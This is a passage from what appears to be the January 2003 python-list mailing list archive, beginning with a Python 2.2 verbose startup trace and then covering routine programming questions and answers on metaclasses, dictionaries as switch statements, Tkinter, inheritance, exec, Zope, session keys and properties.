# /usr/lib/python2.2/copy_reg.pyc matches /usr/lib/python2.2/copy_reg.py
import copy_reg # precompiled from /usr/lib/python2.2/copy_reg.pyc
# /usr/lib/python2.2/types.pyc matches /usr/lib/python2.2/types.py
import types # precompiled from /usr/lib/python2.2/types.pyc
# /usr/lib/python2.2/__future__.pyc matches /usr/lib/python2.2/__future__.py
import __future__ # precompiled from /usr/lib/python2.2/__future__.pyc
# /usr/lib/python2.2/site-packages/sitecustomize.pyc matches 
/usr/lib/python2.2/site-packages/sitecustomize.py
import sitecustomize # precompiled from 
/usr/lib/python2.2/site-packages/sitecustomize.pyc
Python 2.2.2 (#1, Jan 24 2003, 17:43:45)
[GCC 3.2.1 20021207 (Gentoo Linux 3.2.1-20021207)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
0
# clear __builtin__._
# clear sys.path
# clear sys.argv
# clear sys.ps1
# clear sys.ps2
# clear sys.exitfunc
# clear sys.exc_type
# clear sys.exc_value
# clear sys.exc_traceback
# clear sys.last_type
# clear sys.last_value
# clear sys.last_traceback
# restore sys.stdin
# restore sys.stdout
# restore sys.stderr
# cleanup __main__
# cleanup[1] __future__
# cleanup[1] signal
# cleanup[1] site
# cleanup[1] sitecustomize
# cleanup[1] posix
# cleanup[1] types
# cleanup[1] exceptions
# cleanup[2] stat
# cleanup[2] copy_reg
# cleanup[2] posixpath
# cleanup[2] UserDict
# cleanup[2] os
# cleanup[2] os.path
# cleanup sys
# cleanup __builtin__
# cleanup ints: 3 unfreed ints in 1 out of 3 blocks
# cleanup floats





From mis6 at pitt.edu  Fri Jan 24 09:19:59 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 24 Jan 2003 06:19:59 -0800
Subject: Syntax modification idea: (classmethods, properties locking...)
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE> <mailman.1043356128.29302.python-list@python.org>
Message-ID: <2259b0e2.0301240619.dc0a2f8@posting.google.com>

Ian Bicking <ianb at colorstudy.com> wrote in message news:<mailman.1043356128.29302.python-list at python.org>...
<snip>
> That's reasonable, but still leaves the problem of composing these
> metaclasses.  I've begun using metaclasses in my library code, and I
> like it -- but (I think) I'd need to make my metaclass a subclass of
> this canonical metaclass in order for them to be compatible.  Unless
> maybe you could do __metaclass__ = (PropMetaclass, SomeOtherMetaclass)
> -- I haven't tested that (and metaclasses seem poorly documented right
> now).  I still don't feel entirely comfortable with my understanding of
> the semantics of metaclasses, so I couldn't quite predict what multiple
> metaclasses would mean.

You want

__metaclass__=type('DoubleMetaclass',(PropMetaclass, SomeOtherMetaclass),{})


      Michele



From imbosol at vt.edu  Wed Jan 15 18:25:40 2003
From: imbosol at vt.edu (Carl Banks)
Date: Wed, 15 Jan 2003 23:25:40 GMT
Subject: Switch statements again
References: <mailman.1042670848.7866.python-list@python.org>
Message-ID: <U5mV9.5367$7O4.1806@nwrddc02.gnilink.net>

Steven Scott wrote:
> I've been reading the claims about doing things a more elegant way in python
> when it comes to switch statements, using if-elif-else and/or dictionaries
> of function pointers.  the following can be done with if-elif-else (and
> that's how I did it), but it sure is ugly.  my question is simply "what's
> the best way to do this in python?"


If you don't like the if-then-else, then you can use a dict like this:

At top level (some will not like this because it declares a global,
but I say a global is not evil as long as you promise never to change
it):

    dayOfWeekDecimation = { MASK_SUNDAY: 6,
                            MASK_MONDAY: 5,
                            MASK_TUESDAY: 4,
                            MASK_WEDNESDAY: 3,
                            MASK_THURSDAY: 2,
                            MASK_FRIDAY: 1,
                            MASK_SATURDAY: 0 }


Inside your function:

    dayOfWeek -= dayOfWeekDecimation[calDayOfWeekMask]
    if calWeekNumber == LAST:
        ... etc. ...


No need to worry about calDayOfWeek not being one of the ordained
values; Python will throw an exception if it is not.


>    switch (calDayOfWeekMask)
>      {
>          <snip>
>        
>      case MASK_SUNDAY:
>                dayOfWeek--;            // and fall thru
>      case MASK_MONDAY:
>                dayOfWeek--;            // and fall thru
>      case MASK_TUESDAY:
>                dayOfWeek--;            // and fall thru
>      case MASK_WEDNESDAY:
>                dayOfWeek--;            // and fall thru
>      case MASK_THURSDAY:
>                dayOfWeek--;            // and fall thru
>      case MASK_FRIDAY:
>                dayOfWeek--;            // and fall thru
>      case MASK_SATURDAY:
>                if (calWeekNumber == LAST)
>                  {
>                    occurrence.setDay(occurrence.getDaysInMonth());
>                    occurrence.addDays(- ((7 - dayOfWeek
>                                           + occurrence.getDayOfWeek()) %
> 7));
>                  }
>                else
>                  {
>                    occurrence.setDay(1 + ((calWeekNumber - 1) * 7));
>                    occurrence.addDays((dayOfWeek + 7 -
> occurrence.getDayOfWeek()) % 7);
>                  }
>                break;
>                
>      default:
>                return FAIL;
>      }


-- 
CARL BANKS



From aka at mvps.org  Mon Jan 13 13:50:39 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Mon, 13 Jan 2003 13:50:39 -0500
Subject: [OT] Seeking Minimal Python Project Name
References: <3e22b7f7@news.swissonline.ch>
Message-ID: <avv1pv$j59t5$1@ID-136433.news.dfncis.de>

Boomslang.

I know, there's no such thing... There was an Agatha Christie story from years
ago that mentioned an "African boomslang" as a poisonous snake.  Stephen King
invented a "Peruvian boomslang", borrowed from her, that he used in the short
story "Autopsy Room Four" which is in his anthology "Everything's Eventual".

Here are some of the ways the name works that I can see:

+ The boomslang is very small - like a grass snake - but has incredibly powerful
poison.

+ The name is memorable and easy to pronounce.

+ The "slang" in the name carries the connotation of a specialty "little
language" that is a subset of a formal language.

The full name would of course be "Boomslang Python".

-- 

"F. GEIGER" <fgeiger at datec.at> wrote in message
news:3e22b7f7 at news.swissonline.ch...
> Seems somebody has started a competition in finding names for Minimal
> Python.
>
> Minimal Python -> Mython.
>
> Children's Python (this kind of pythons really exists, German:
> Zwergpython) -> Chython
>
> Small Python -> Smython
>
> Dwarf + Python -> Dwython
>
> What about an other kind of snake, preferably a small one: Mamba.
>
> Any snake adicts hanging around here?
>
> Cheers
> Franz
>
>
>





From tim.one at comcast.net  Fri Jan 17 16:18:37 2003
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 17 Jan 2003 16:18:37 -0500
Subject: time.sleep() under Windows
In-Reply-To: <smvsjey3.fsf@python.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHIEBPEJAA.tim.one@comcast.net>

[Thomas Heller]
> That may be, but the behaviour has changed in Python 2.3, at least
> if you're using Win2k. Now you can interrupt the time.sleep() call
> with CTRL-C, and Python can catch a KeyboardError,

KeyboardInterrupt, actually.

> which CTLR-Creak still terminates the process.

CTRL-Break, and it does, but you *can* install a CTRL-Break handler, if you
like:  while the signal module is overwhelmingly useless on Windows, it does
support a Windows-specific SIGBREAK signal.  This was new in 2.2 (and
details are in the 2.2b1 section of the NEWS files).

> Mark Hammond implemented this IIRC,

Yes.

> it's amazing how complicated this is.

Jaw-dropping.  It was also enabled on Win9x, but I tested that and it caused
system (OS) instability there.  We're never going to know why, so the
ability to interrupt sleep() on Win9x was ripped out again.





From jolsen at mailme.dk  Sun Jan  5 04:53:31 2003
From: jolsen at mailme.dk (Jesper Olsen)
Date: 5 Jan 2003 01:53:31 -0800
Subject: CGI - client information
Message-ID: <cf0ad9fb.0301050153.6852da96@posting.google.com>

Is it possible from a python cgi script to query the web server about
the
IP address of the client that is calling the script?

E.g. the web server could provide this info in an environment
variable.

I have a hosted web-site, and I like to see who accesses it and what
they
look at, but it seems for some reason that the web server does not log
access to the cgi directory...

Cheers
Jesper



From morden at shadows.net  Thu Jan  9 19:25:54 2003
From: morden at shadows.net (morden)
Date: Thu, 09 Jan 2003 16:25:54 -0800
Subject: Qt/PyQt licensing
Message-ID: <avktp6$mso$1@bob.news.rcn.net>

Say I distribute PyQt as part of a commercial app written in Python
and do not extend pythonqt interpreter with proprietary code.

I need commercial licenses for PyQt only at 150 pounds per developer's 
seat and can use Qt non commercial license. Is this correct assumption?




From mjackson at alumni.caltech.edu  Thu Jan 16 12:42:40 2003
From: mjackson at alumni.caltech.edu (Mark Jackson)
Date: 16 Jan 2003 17:42:40 GMT
Subject: Declaring A Function Argument As Global?
References: <9fp60b.86b2.ln@boundary.tundraware.com>
Message-ID: <b06qug$dv9$1@news.wrc.xerox.com>

Tim Daneliuk <tundra at tundraware.com> writes:
> I want to be able to write a generic list handling function which slices
> a list, but I don't want to have to return the modified list
> to do so.  In other words, I purposely want the function to have
> a side-effect which modifies the list handed to it. For example:
> 
> 
> def lhandler(list):
> 	list = list[1:]
> 
> mylist = [1,2,3]
> 
> lhandler(mylist) doesn't change mylist (because the assignment creates
> a local variable by Python scoping rules), but that's exactly what
> I want it to do.  So far, I've only come up with two solutions:
> 
>           1) return the modified value - for various reasons, this is
>              an ugly solution in my application.
> 
>           2) Pass the *name* of the list into the function and do something
>              truly ugly like:
> 
>                  globals()[name] = globals()[name][1:]   # Yuk!
> 
> Is there another way?

def lhandler(list):
	list.remove(list[0])

modifies the list in place as required by the example given.  Rewriting
what you *actually* want to do using only in-place list methods may be
less straightforward or have performance implications, of course.

-- 
Mark Jackson - http://www.alumni.caltech.edu/~mjackson
	Well. . .old people with really good memories think I'm
	clever.  So there!!	- Huey Freeman (Aaron McGruder)





From abelikov72 at hotmail.com  Thu Jan  9 10:16:03 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 15:16:03 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org>
Message-ID: <o84r1vst3mp6nldbeclitnfk5lk3lr9ct8@4ax.com>

On Fri, 10 Jan 2003 00:21:43 +1100, Andrew Bennetts
<andrew-pythonlist at puzzling.org> wrote:

>On Thu, Jan 09, 2003 at 12:54:24PM +0000, Afanasiy wrote:
>> On Thu, 9 Jan 2003 22:29:33 +1100, Andrew Bennetts
>> <andrew-pythonlist at puzzling.org> wrote:
>> >> 
>> >> You don't know what I am doing. My design is perfect.
>> >
>> >What is good design for one language isn't necessarily good design for
>> >another.  Python offers different features to, say, C++, and is best used in
>> >different ways.  I would recommend that you try to understand the pythonic
>> >world-view better, rather than insisting on imposing your preconceptions on
>> >us... my experience agrees with Andrew Dalke's; explicit self is much better
>> >than the alternatives.
>> 
>> If the "pythonic world-view" is that code which would look better with
>> implicit self is "poor implementation", then no, I do not agree with it.
>
>The pythonic world-view on this particular issue is that "Explicit is better
>than implicit", yes.

Except that is entirely not my point. Thinking so causes friction.
And this friction is only bad for me, because you create the two
sided argument from your side so that it looks like I am somehow
anti-Python or anti-implicit. It's a disgusting way of communicating.

>> Please note I am not complaining out about the lack of this possibility.
>> I only have a problem with the condescending tones. I guess it's normal.
>
>In my experience, people who find this sort of thing about Python annoying
>aren't using Python optimally.  My recommendation is to trust us, show us
>your whole class, and invite constructive criticism on its design.  This may
>sound condescending, but this newsgroup is filled with experienced Python
>programmers, and I would be very surprised if you considered yourself better
>at writing Python than them.

I would rather not have people to tell me how to design basic classes.
Thanks for the offer. I will surely ask if I need the assistance there.



From mongo57a at comcast.net  Mon Jan 20 15:56:27 2003
From: mongo57a at comcast.net (mongo57a at comcast.net)
Date: Mon, 20 Jan 2003 20:56:27 GMT
Subject: Remote access to ssh server
References: <ti6o1v8t7nm8c4rp2lgb8hak5c9mqfv7ll@4ax.com>
Message-ID: <3e2c467d_1@binarykiller.newsgroups.com>

It should be possible. I am using MySQLdb to access a remote mysql database,
and executing sql commands remotely. The trick to getting my implementation
to work was making sure that the security "door" was open.

Not sure if this helps much....

Andy


-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From peter at engcorp.com  Fri Jan  3 09:15:54 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 09:15:54 -0500
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk>
Message-ID: <3E159B1A.BE7AC2DD@engcorp.com>

Martin Christensen wrote:
> 
> You will do yourself a tremendous favour by familiarising yourself
> with one of the two major Unix editors: Emacs and vi. When I say
> 'familiarise' I naturally mean 'live it, breathe it, freely neglect
> your friends and family to learn its intricacies, sleep with several
> manuals under your pillow (though neck pain may follow) and never rest
> until your native language seems less natural to you than the editor's
> scripting language'. 

A *very* good description of what must surely constitute a terrible
design, that one might actually have to "learn intricacies" and 
read *manuals* in order to understand how to use a text editor.

> They're immensely powerful editors, and after
> learning one, going back to a 'plain' text editor will just feel like
> crawling.

I'm sure they are highly effective for some people.  Not everyone
has need of such a large slate of features.  In fact, over the years
I've found I rely on fewer and fewer special functions in my editors,
and at this point I am so independent of any specific editor that I
find myself roughly as productive in any modern editor, using the tiny
subset of its features that I do, and yet more productive (because of
my approach to programming) than many other programmers.

-Peter



From ians at etrials.com  Fri Jan 17 13:35:29 2003
From: ians at etrials.com (Ian Sparks)
Date: Fri, 17 Jan 2003 13:35:29 -0500
Subject: Extending program with imported user code.
Message-ID: <41A1CBC76FDECC42B67946519C6677A95AE0E9@pippin.int.etrials.com>

Ok, so I RTFM and in case it helps anyone in future this is the simplistic example code I came up with :

=== test1.py ====

def test():
    print "test 1 x = %d " % x

if __name__ == "__main__":

    x = 1
    execfile('test2.py') 
    test()

=== test2.py ====

def test():
    print "test 2 x= %d" % x


when I run this the result I get is :

test 2 x= 1

i.e. the methods defined in test2.py override the methods in test1.py and have access to the namespace (because I didn't define a namespace in execfile).

Its a system wide-open to abuse because you can override any method in test1.py with a new method in test2.py but it is perfect for my in-house use. Now I can customize any feature of my program via an external file without having to touch the main program.



-----Original Message-----
From: Ian Sparks 
Sent: Thursday, January 16, 2003 12:04 PM
To: Python-List at Python. Org (E-mail)
Subject: Extending program with imported user code.


I have a python (2.2) program that does PDF rendering (www.reportlab.com). It has a method something like :

def drawfooter(..):
    blah....

I'd like to be able to override this default behaviour by importing user-defined code. So I'd envison that my user would write a replacement drawfooter() function with the same signature in a text file, my code will look for that file and import it somehow to override the existing behaviour.

What would be the best way of going about this kind of dynamic function-replacement?


-- 
http://mail.python.org/mailman/listinfo/python-list




From rdsteph at earthlink.net  Fri Jan  3 20:12:21 2003
From: rdsteph at earthlink.net (Ron Stephens)
Date: Sat, 04 Jan 2003 01:12:21 GMT
Subject: Distributing Python apps
References: <3NhR9.5535$8n5.1039045@news20.bellglobal.com> <v1bdpi6ek57350@corp.supernews.com>
Message-ID: <3E1635A0.3040802@earthlink.net>

Pardon me but I'd like to ask a related question. Of the many gui 
toolkits available for Python, whihc one swork with py-to-exe and/or 
Gordon's installer. in other words, if I have a Python program using 
Tkinter or Wx Python or pyQT, will I be able to convert them to exe 
programs using py to exe , etc?




From gerhard.haering at opus-gmbh.net  Fri Jan 17 08:18:39 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 17 Jan 2003 13:18:39 GMT
Subject: Trouble with inheritance and self
References: <67446a0a.0301170504.7e897e38@posting.google.com>
Message-ID: <slrnb2g0bm.1go.gerhard.haering@haering.opus-gmbh.net>

Boethius <boethius at techie.com> wrote:
> I have 2 classes (A and B). Both have a render method that returns a
> string.
> The only difference between A and B's render is the first part of the
> string (header).
> 
> B inherits from A and uses A's render with its own header (see code
> below).  However, I get a weird error:
> 
> Traceback (most recent call last):
>   File "<pyshell#23>", line 1, in ?
>     b.render()
>   File "<pyshell#19>", line 7, in render
>     return A.render(self, header=self._header)
>   File "<pyshell#17>", line 7, in render
>     return header(self) + 'Foo Bar Baz'
> TypeError: _header() takes exactly 1 argument (2 given)
> 
> What am I doing wrong? O:-)
> TIA
> 
> ---------code-------------------------------------------------------
> class A(object):
> 
>     def _header(self):
>         return "A's header"
> 
>     def render(self, header = _header):
>         return header(self) + 'Foo Bar Baz'
> 
> class B(A):
> 
>     def _header(self):
>         return "B's header"
> 
>     def render(self):
>         return A.render(self, header=self._header)

B's render method should be:

#v+
def render(self):
    return A.render(self, header=B._header)
#v-

IOW you need to pass the unbound method instead of the instance method.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From BPettersen at NAREX.com  Fri Jan 24 16:59:42 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Fri, 24 Jan 2003 14:59:42 -0700
Subject: Strange response from newsgroup (or mailinglist)
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE1E8@admin56.narex.com>

> From: Chris Keyes [mailto:chrisk at nipltd.com] 
> 
> GerritM wrote:
> > Yesterday I posted a message directly to comp.lang.python 
> > and got the following return message:
> > 

[...]

> Hmm, I've had mail from box.de, I just assumed it was spam 
> and nuked it
[...]

I'm assuming someone subscribed to python-list from box.de and that
their mailbox is full. I've allready sent mail to webmaster (which the
reply came from... bounced) and postmaster. 

As an added feature, my newly installed spambayes filter automatically
classified it as spam and moved it to my spam folder <grin>. (Hint: if
you don't mind playing with early releases, go check out
http://spambayes.sourceforge.net/ -- I'm at day two, and it's been
incorrect on one out of 300 messages! YMMV, etc. etc.)

-- bjorn





From martin at v.loewis.de  Thu Jan  2 16:21:47 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 02 Jan 2003 22:21:47 +0100
Subject: Downcast (I know it sounds silly, but ...)
References: <cX0R9.72667$Ou4.2409063@twister2.libero.it> <ta1R9.12$wh.8@news-binary.blueyonder.co.uk>
Message-ID: <m3znqj4590.fsf@mira.informatik.hu-berlin.de>

John Ochiltree <johnochiltree at blueyonder.co.uk> writes:

> Yes

:-)



From sasDOTepsylon at wanadoo.fr  Sat Jan  4 04:02:40 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Sat, 04 Jan 2003 10:02:40 +0100
Subject: Port Python to PS2
References: <194e1e0a.0301031622.69bf6994@posting.google.com>
Message-ID: <qm8d1v8oa5kmfb15m7sj1v3g7v5cvvvrfl@4ax.com>

On 3 Jan 2003 16:22:29 -0800, coreydalejohnson at yahoo.com (corey)
wrote:

>My current company is developing for the playstation 2, and I am
>interested in porting python to it for the scripting engine.
>The only problem is I don't know where to start. I am a lowly junior
>programmer (just out of college) and this would be mainly a learning
>experience for me during my free time after work. But hopefully if I
>can get something working we could add python support into our next
>game. I have visited Jason Asbahr's site (He ported Python to the PS2
>and Gamecube) but I couldn't learn much from what he had available.
>When porting do you simply use something like SWIG or pyrex so that
>your python code is run through C? Or does it involve more lower level
>tweaking. The PS2 has no operating system, will this make things more
>difficult or does this not matter?
>Any links or suggestions would be great!

http://www.python.org/download/download_other.html
"Python for PlayStation

Erwin Coumans has completed a port of Python to the Sony PlayStation
2. Send him email for more info."
His email: erwin at blender.nl
--                             ___
                              |   |    \|/
  sas.epsylon<at>wanadoo.fr   |   |   (o -)
  ______ ______ ~_S_A_S_~   _ |   |ooO_(_)_Ooo
 /  __  Y      \/ ____/  \/  !'   |/    \     \   
|   ____/ |__>  |____ \  `   |    |_ O   | ^   |
 \_____/|   ___/______X_    Y_______|___/__||__|  
   ~*~  |__|R?cursif: \____/ adj, cf R?cursif.



From pythonmac-sig-request at python.org  Sat Jan  4 06:57:15 2003
From: pythonmac-sig-request at python.org (pythonmac-sig-request)
Date: Sat, 4 Jan 2003 12:57:15 +0100 (added by postmaster@dns-oi.com)
Subject: Have a good Epiphany
Message-ID: <3D946F6400062BAA@antivirusgw.dns-oi.com> (added by postmaster@dns-oi.com)

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030104/2517c728/attachment.html>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: node4.html
Type: application/octet-stream
Size: 13351 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030104/2517c728/attachment.obj>
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: InterScan_SafeStamp.txt
URL: <http://mail.python.org/pipermail/python-list/attachments/20030104/2517c728/attachment.txt>

From heiland at ncsa.uiuc.edu  Wed Jan 22 08:13:38 2003
From: heiland at ncsa.uiuc.edu (Randy Heiland)
Date: Wed, 22 Jan 2003 07:13:38 -0600
Subject: dynamic variables; globals
References: <3E2E8A95.FE285970@ncsa.uiuc.edu> <xpadnc5RPK65ErOjXTWc3g@comcast.com>
Message-ID: <3E2E9902.60EBB96C@ncsa.uiuc.edu>

Justin Shaw wrote:

> > Style & security notwithstanding, is there some way to add a dynamic
> > variable to the globals list?
>
> Quick answer:
>
> >>> def func(sarg):
>              exec(sarg, globals())
>
> >>> func('foo=11')
> >>> func('print foo')
> 11
>
> Justin Shaw

Thanks.  And if I want to use the RExec module instead?




From ehigionni at katamail.com  Wed Jan  8 04:07:38 2003
From: ehigionni at katamail.com (Gionni)
Date: 8 Jan 2003 01:07:38 -0800
Subject: Zope
Message-ID: <d96ed82b.0301080107.4d94a53@posting.google.com>

Could anybody help me, please. During installation this error appears:

'import site' failed; use -v for traceback
Traceback (most recent call last):
  File "inst/binary_install.py", line 20, in ?
    import sys, os, getopt
ImportError: No module named os

and the installation fails. Any solution?

Thank you for your help.



From P_spam_ at draigBrady.com  Thu Jan  2 11:54:41 2003
From: P_spam_ at draigBrady.com (P_spam_ at draigBrady.com)
Date: Thu, 02 Jan 2003 16:54:41 +0000
Subject: comments inside blocks
In-Reply-To: <3E1468BF.94A4DAD6@engcorp.com>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com> <3E1468BF.94A4DAD6@engcorp.com>
Message-ID: <3E146ED1.8010602@draigBrady.com>

Peter Hansen wrote:
> P at draigBrady.com wrote:
> 
>>Hmm but the editor should be able to distinguish between
>>these 2 cases IMHO:
>>
>>for i in range(10):
>>     print i
>>#comment nothing to do with for
> 
> 
> for i in range(10):
>     print i
> # comment having something to do with the for
> 
> Can it distinguish between these two cases then?
> 
> In my cases, this is a much more common situation.  I would
> *never* attach a following comment like you have without
> whitespace to separate it from the previous block.  I think
> the folding is "correct".

Well it also folds if there is any amount of whitespace
between the block and the comment. I.E.

for i in range(10):
     print i

#comment nothing to do with for
def fn():
     print "fn"

P?draig.




From imbosol at vt.edu  Mon Jan 20 14:24:59 2003
From: imbosol at vt.edu (Carl Banks)
Date: Mon, 20 Jan 2003 19:24:59 GMT
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com> <b4iW9.2826$e34.1184@nwrddc04.gnilink.net> <7h3el78ks2e.fsf@pc150.maths.bris.ac.uk>
Message-ID: <f2YW9.338$dU.23@nwrddc01.gnilink.net>

Michael Hudson wrote:
> Carl Banks <imbosol at vt.edu> writes:
> 
>> I think a C extension could create an object that is not an instance
>> of object, in which case isinstance(something,object) would return
>> false.
> 
> I think not, because a type is always an object.
> 
> isinstance(c, object) == issubclass(type(c), object) == True.
>                      ^
>           except for old-style instances 
> 
> My reading of the source would seem to confirm this, but I could well
> have missed something...

Correct.  If you leave tp_bases empty, Python happily sets it to a
tuple of PyBaseObject.


-- 
CARL BANKS



From nbodineau at club-internet.fr  Tue Jan 14 04:44:04 2003
From: nbodineau at club-internet.fr (Natacha)
Date: 14 Jan 2003 01:44:04 -0800
Subject: tkinter file selector
References: <18f9f477.0301130635.42ebcb5a@posting.google.com> <mailman.1042469723.18185.python-list@python.org>
Message-ID: <18f9f477.0301140144.436dd563@posting.google.com>

thanks, but we would like to have the directory in the "Entry" when we select a file
example :
_______________________________________           _____________________
C:/WINDOWS/Bureau/question.doc        |           |     PARCOURIR      |
______________________________________|           |____________________|











Martin Franklin <mfranklin1 at gatwick.westerngeco.slb.com> wrote in message news:<mailman.1042469723.18185.python-list at python.org>...
> On Mon, 2003-01-13 at 14:35, Natacha wrote:
> > Hello,
> > 
> > We are using Python in environnement windows and we need help.
> > 
> > We want to use tkinter for an interface graphic so for this it s ok
> > 
> > The problem is in this programm :
> > 
> > you can execute it to see . When you click on 'Parcourir', i would
> > like to have the functions who give the files in the harddisk and
> 
> 
> <snip>
> 
> A simple example of the tkFileDialog :-
> 
> from Tkinter import *
> import tkFileDialog
> 
> root = Tk()
> 
> def select_file():
>     file = tkFileDialog.askopenfilename()
>     print file
> 
> b=Button(root, text="Select", command = select_file)
> b.pack()
> 
> root.mainloop()
> 
> 
> HTH
> Martin



From stephan.diehl at gmx.net  Tue Jan  7 09:48:40 2003
From: stephan.diehl at gmx.net (Stephan Diehl)
Date: Tue, 7 Jan 2003 15:48:40 +0100
Subject: Opinions, please: Repository module
References: <mailman.1041806169.632.python-list@python.org> <mailman.1041878643.15780.python-list@python.org> <ave3p6$2j4$01$1@news.t-online.com> <3E1ADD91.64654736@engcorp.com>
Message-ID: <avepbh$bb5$04$1@news.t-online.com>

Peter Hansen wrote:

[...]
> 
> Without some kind of server running on top of the ZODB, and client
> software which talks the protocol the server wants, you won't get very
> far.
> 
> Or am I misinterpreting something?

You are right, but the ZODB package contains a Server called ZEO.
Have a look at: http://www.amk.ca/zodb/zodb-zeo.html

> 
> -Peter
> 

Stephan




From skip at pobox.com  Sat Jan 25 12:39:47 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 25 Jan 2003 11:39:47 -0600
Subject: Generating Unique Keys
In-Reply-To: <1043515752.4943.10.camel@refugeeMedia>
References: <1043511783.4939.1.camel@refugeeMedia>
        <15922.49110.110304.235838@montanaro.dyndns.org>
        <1043515752.4943.10.camel@refugeeMedia>
Message-ID: <15922.52195.986780.75077@montanaro.dyndns.org>

    Mongryong> Right now, I mainly need a way to generate unique (web)
    Mongryong> session keys.  However, it would be nice to have a general
    Mongryong> purpose function for generating unique keys.

So just call random.random() until you get something not in your database:

    while 1:
        newkey = "%.f" % random.random()
        if newkey in db:
            break

    Mongryong> For session keys, is their a way in Python to grap a client's
    Mongryong> MAC address.  If so, is there any security concern with using
    Mongryong> a client's MAC address?

There's no MAC address information in the HTTP headers.  There is the
client's IP address, but for proxies and NAT stuff that obviously won't be
good enough.  I'd just use a random number.

Also, make sure you store timestamps in your session database and purge old
session info periodically.  If you don't you will probably see your system
performance go to hell as the size of that table grows.

Skip




From ianb at colorstudy.com  Thu Jan 23 16:22:59 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 23 Jan 2003 15:22:59 -0600
Subject: PEP 8 and properties
In-Reply-To: <v2pcp0eckg7tdd@news.supernews.com>
References: <f57664b9.0301191717.2fa584d5@posting.google.com>
	 <v2mlb2s499teb2@news.supernews.com>
	 <f57664b9.0301201645.1f10b82b@posting.google.com>
	 <v2pcp0eckg7tdd@news.supernews.com>
Message-ID: <1043356979.16312.1048.camel@lothlorien>

On Mon, 2003-01-20 at 20:41, John Roth wrote:
> I think so. As far as I'm concerned, the difference
> is that a variable is something, while a method does
> something. I know this isn't as clear a distinction as
> I'd like, but then, most things have real fuzzy edges.

This was my initial thought too.  Or I'd say, anything that has side
effects should be a method.  So I've been using properties for
calculated or dependent values, so I might have a color object that has
red, green, and blue attributes.  It also has hue, saturation, and value
attributes.  Red, green and blue are orthogonal to each other (though of
course limited to be numbers, etc).  But they are not orthogonal to hue,
saturation and value.  Obviously one of these is calculated, though it
could actually be either one.  Or heck, hue, value and green could be
the master attributes (if I wanted to work out the math :).

But okay, I'm fine with that.  I'm also okay with side effects that are
for caching purposes.  If you have calculated values it's only normal to
add caching at some point in the process, and you don't want to change
the interface in order to do that.  I'm also okay with side effects that
might even involve writing a cached value to disk.

But then there's other calculated values I'm not so sure about.  In this
example maybe something like isBlack.  It's kind of calculated, but it's
constant for the color (assuming the color is immutable).  It would
certainly never take an argument.  But I'm a little less comfortable
with this... somehow it seems wrong for a test to be an attribute, and
not a function.  But I know a lot of languages with properties use this
style often.

I feel like there's other cases I haven't come up with, where the rules
I've decided on so far don't apply, or they do but I disagree with them
for that case.  There's no Python convention to go on in these cases,
either.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From gerhard.haering at gmx.de  Sat Jan  4 20:26:34 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: Sun, 5 Jan 2003 02:26:34 +0100
Subject: Distributing Python apps
In-Reply-To: <011501c2b456$b9dab320$e31afea9@normskrz>
References: <GCEDKONBLEFPPADDJCOEIEDIHCAA.whisper@oz.net> <011501c2b456$b9dab320$e31afea9@normskrz>
Message-ID: <20030105012634.GB1122@lilith.ghaering.test>

* Norman Skrzypinski <zypin at sympatico.ca> [2003-01-04 20:06 -0500]:
> 
> David LeBlanc wrote:
> >
> > In the end, it's up to you as to whether or not you want to take a lot
> > longer to develop the same app in VB or C++ compared to the relatively
> minor
^^ 

Yuck! Please don't use software broken beyond hope to post or,
alternatively, repair it: http://jump.to/oe-quotefix

> > inconvenience of a slightly longer d/l time for your users. IMO, Python is
> > the clear winner.
> 
> In the end, I request that you very capable Python experts give me a way to
> give my customers a 750 KB app.

I've pondered creating a seperately installable Python runtime, with
several net-installable packages (wxPython, ...). The installer of a
py2exe-packaged Python app could then just 'depend' on this runtime.

This would just be a runtime environment, and not intended for
